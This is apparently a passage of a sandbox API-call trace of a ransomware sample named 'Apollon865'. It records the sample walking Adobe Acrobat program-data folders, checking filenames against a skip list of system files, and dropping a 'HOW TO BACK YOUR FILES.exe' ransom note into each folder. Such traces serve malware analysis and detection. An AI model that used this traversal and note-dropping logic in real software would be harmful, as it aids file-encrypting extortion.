	[0051.313] lstrlenW (lpString="daschema") returned 8
	[0051.313] lstrcmpiW (lpString1="_MUI.msp", lpString2="daschema") returned -1
	[0051.313] lstrlenW (lpString="db-journal") returned 10
	[0051.313] lstrcmpiW (lpString1="10_MUI.msp", lpString2="db-journal") returned -1
	[0051.313] lstrlenW (lpString="db-shm") returned 6
	[0051.313] lstrcmpiW (lpString1="UI.msp", lpString2="db-shm") returned 1
	[0051.313] lstrlenW (lpString="db-wal") returned 6
	[0051.313] lstrcmpiW (lpString1="UI.msp", lpString2="db-wal") returned 1
	[0051.314] lstrlenW (lpString="dbc") returned 3
	[0051.314] lstrcmpiW (lpString1="msp", lpString2="dbc") returned 1
	[0051.314] lstrlenW (lpString="dbs") returned 3
	[0051.314] lstrcmpiW (lpString1="msp", lpString2="dbs") returned 1
	[0051.314] lstrlenW (lpString="dbt") returned 3
	[0051.314] lstrcmpiW (lpString1="msp", lpString2="dbt") returned 1
	[0051.314] lstrlenW (lpString="dbv") returned 3
	[0051.314] lstrcmpiW (lpString1="msp", lpString2="dbv") returned 1
	[0051.314] lstrlenW (lpString="dbx") returned 3
	[0051.314] lstrcmpiW (lpString1="msp", lpString2="dbx") returned 1
	[0051.314] lstrlenW (lpString="dcb") returned 3
	[0051.314] lstrcmpiW (lpString1="msp", lpString2="dcb") returned 1
	[0051.314] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="AdbeRdrUpd10116_MUI.msp" | out: lpString1="AdbeRdrUpd10116_MUI.msp") returned="AdbeRdrUpd10116_MUI.msp"
	[0051.314] lstrlenW (lpString="AdbeRdrUpd10116_MUI.msp") returned 23
	[0051.314] lstrlenW (lpString="Apollon865") returned 10
	[0051.314] lstrcmpiW (lpString1="16_MUI.msp", lpString2="Apollon865") returned -1
	[0051.314] lstrlenW (lpString=".dll") returned 4
	[0051.314] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".dll") returned 1
	[0051.314] lstrlenW (lpString=".lnk") returned 4
	[0051.314] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".lnk") returned 1
	[0051.314] lstrlenW (lpString=".ini") returned 4
	[0051.314] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".ini") returned 1
	[0051.314] lstrlenW (lpString=".sys") returned 4
	[0051.314] lstrcmpiW (lpString1="AdbeRdrUpd10116_MUI.msp", lpString2=".sys") returned 1
	[0051.314] lstrlenW (lpString="AdbeRdrUpd10116_MUI.msp") returned 23
	[0051.314] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Adobe\\Acrobat", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat"
	[0051.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ed8 | out: hHeap=0x580000) returned 1
	[0051.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0051.315] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat") returned 28
	[0051.315] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\Acrobat" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat"
	[0051.315] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.315] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.315] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.315] GetLastError () returned 0x0
	[0051.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.315] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.315] CloseHandle (hObject=0x15c) returned 1
	[0051.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.315] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.315] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.316] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.316] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.316] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.316] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.316] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.316] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.316] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.316] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.316] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="Apollon865.txt.exe") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="windows") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="bootmgr") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="temp") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="pagefile.sys") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="boot") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="ids.txt") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="ntuser.dat") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="perflogs") returned -1
	[0051.316] lstrcmpiW (lpString1="10.0", lpString2="MSBuild") returned -1
	[0051.316] lstrlenW (lpString="10.0") returned 4
	[0051.316] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat\\*") returned 30
	[0051.316] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="10.0" | out: lpString1="10.0") returned="10.0"
	[0051.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0051.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bde88
	[0051.316] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0051.317] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.317] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.317] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.317] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0051.317] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0051.317] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Adobe\\Acrobat\\10.0", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0"
	[0051.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0051.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0051.317] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned 33
	[0051.317] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\Acrobat\\10.0" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0"
	[0051.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.317] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.317] GetLastError () returned 0x0
	[0051.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.317] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.318] CloseHandle (hObject=0x15c) returned 1
	[0051.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.318] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.318] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.318] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.318] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.318] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.318] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.318] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.318] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.318] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.318] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.318] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.318] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.318] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="Apollon865.txt.exe") returned 1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2=".") returned 1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="..") returned 1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="windows") returned -1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="bootmgr") returned 1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="temp") returned -1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="pagefile.sys") returned 1
	[0051.318] lstrcmpiW (lpString1="Replicate", lpString2="boot") returned 1
	[0051.319] lstrcmpiW (lpString1="Replicate", lpString2="ids.txt") returned 1
	[0051.319] lstrcmpiW (lpString1="Replicate", lpString2="ntuser.dat") returned 1
	[0051.319] lstrcmpiW (lpString1="Replicate", lpString2="perflogs") returned 1
	[0051.319] lstrcmpiW (lpString1="Replicate", lpString2="MSBuild") returned 1
	[0051.319] lstrlenW (lpString="Replicate") returned 9
	[0051.319] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*") returned 35
	[0051.319] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Replicate" | out: lpString1="Replicate") returned="Replicate"
	[0051.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0051.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5983a8
	[0051.319] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0051.319] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0
	[0051.319] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0051.319] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0051.319] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate"
	[0051.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0051.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0051.319] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned 43
	[0051.319] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate"
	[0051.319] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.319] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.320] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.320] GetLastError () returned 0x0
	[0051.320] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.320] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.320] CloseHandle (hObject=0x15c) returned 1
	[0051.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.320] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.320] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.320] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.320] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.320] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.320] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.320] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.320] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.320] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.320] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.320] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300c8cb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.320] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.320] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1
	[0051.320] lstrcmpiW (lpString1="Security", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="Apollon865.txt.exe") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2=".") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="..") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="windows") returned -1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="bootmgr") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="temp") returned -1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="pagefile.sys") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="boot") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="ids.txt") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="ntuser.dat") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="perflogs") returned 1
	[0051.321] lstrcmpiW (lpString1="Security", lpString2="MSBuild") returned 1
	[0051.321] lstrlenW (lpString="Security") returned 8
	[0051.321] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned 45
	[0051.321] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Security" | out: lpString1="Security") returned="Security"
	[0051.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0051.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a8a8
	[0051.321] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0051.321] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0
	[0051.321] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0051.321] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0051.321] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security"
	[0051.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0051.321] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned 52
	[0051.321] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security"
	[0051.321] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
